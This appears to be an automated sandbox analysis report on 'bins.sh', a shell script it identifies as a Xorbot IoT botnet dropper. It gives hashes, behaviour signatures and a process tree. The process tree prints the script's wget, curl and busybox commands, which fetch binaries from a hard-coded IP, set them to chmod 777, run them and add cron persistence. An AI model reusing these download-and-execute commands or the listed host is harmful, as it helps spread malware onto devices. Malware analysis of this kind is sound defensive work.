Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/12/2024, 14:41

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d179667ead2f245ddba283f8e2fb59ef

  • SHA1

    8654aace077f9788caaf8d949452e5dcf73b6312

  • SHA256

    f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6

  • SHA512

    c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38

  • SSDEEP

    192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:664
        • /usr/bin/wget
          wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:680
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • File and Directory Permissions Modification
          PID:690
        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          ./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:691
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:693
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:694
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:695
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    • Reads runtime system information
                    PID:696
              • /bin/rm
                rm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
                2⤵
                  PID:698
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
                  2⤵
                    PID:701
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
                    2⤵
                      PID:702

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa

                          Filesize

                          127KB

                          MD5

                          89077b7bd4bcafca7713be43635c4862

                          SHA1

                          fc02edb8fba29ea8ee99e6157ef8560334530052

                          SHA256

                          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                          SHA512

                          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                        • /var/spool/cron/crontabs/tmp.KzSYbg

                          Filesize

                          210B

                          MD5

                          ee7ce4e80c63a4523c522035231897e6

                          SHA1

                          6e9443dc143cc5b50534d016e8a024df953bd353

                          SHA256

                          c8ab4d43ba4c775348dc2d77d2f3d6d01352eefa46e68706372300c59c9a39ee

                          SHA512

                          c0aa2589a975d264cc4a889dc826508f20404b74356e2eeb3f0362e4a3dd3db0d457f7bf7bca93308280960007660bf0c2243d07a347757c42e2d593c1c4b904